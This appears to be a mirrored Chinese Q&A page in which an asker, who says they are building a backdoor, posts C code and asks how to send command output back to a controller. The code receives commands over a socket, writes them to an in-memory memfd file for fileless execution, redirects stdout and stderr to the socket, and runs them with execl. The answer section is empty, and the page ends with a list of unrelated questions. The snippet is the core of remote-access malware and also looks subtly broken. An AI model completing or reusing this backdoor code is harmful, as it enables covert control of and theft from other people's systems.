c - 将 execl() 的 STDOUT 重定向到套接字
问题描述
我正在编写一个后门程序,该后门程序运行从控制器发送给它的命令。然后后门在 RAM 中创建一个匿名内存,并使用 execl() 存储和执行它。但是,我遇到了一个问题:当我通过套接字发送命令时,永远不会收到输出。如何将 execl() 的 STDOUT 重定向到 sock?
int fd = memfd_create("deleted", 0);
while(1){
message_read = read(sock , buffer, 10240);
buffer[message_read]='\0';
char *p;
write(fd, buffer, sizeof(buffer));
asprintf(&p, "/proc/self/fd/%i", fd);
dup2(sock, STDOUT_FILENO);
dup2(sock, STDERR_FILENO);
execl(p, "deleted", NULL);
}
解决方案
推荐阅读
- javascript - 列出网站目录中没有 index.html 的文件
- c# - 将图像上传到容器时不会触发 Blob 存储触发器,为什么?
- c# - 如何在 C# 中单击时将 CSS 动态添加到菜单中
- reactjs - React 可选择和可拖动的元素
- swift - 解析仪表板更改用户密码
- reactjs - 如何使用带有 API 端点的搜索作为我的来源?这可能与语义用户界面反应吗?
- regex - Powershell 将值与多个数组进行比较
- java - 在 weblogic.xml 中,
不管用? - java - 如何自动装配在其他类中使用 @service 注释的 bean
- html - 广告没有显示在我的页面上,我该怎么办?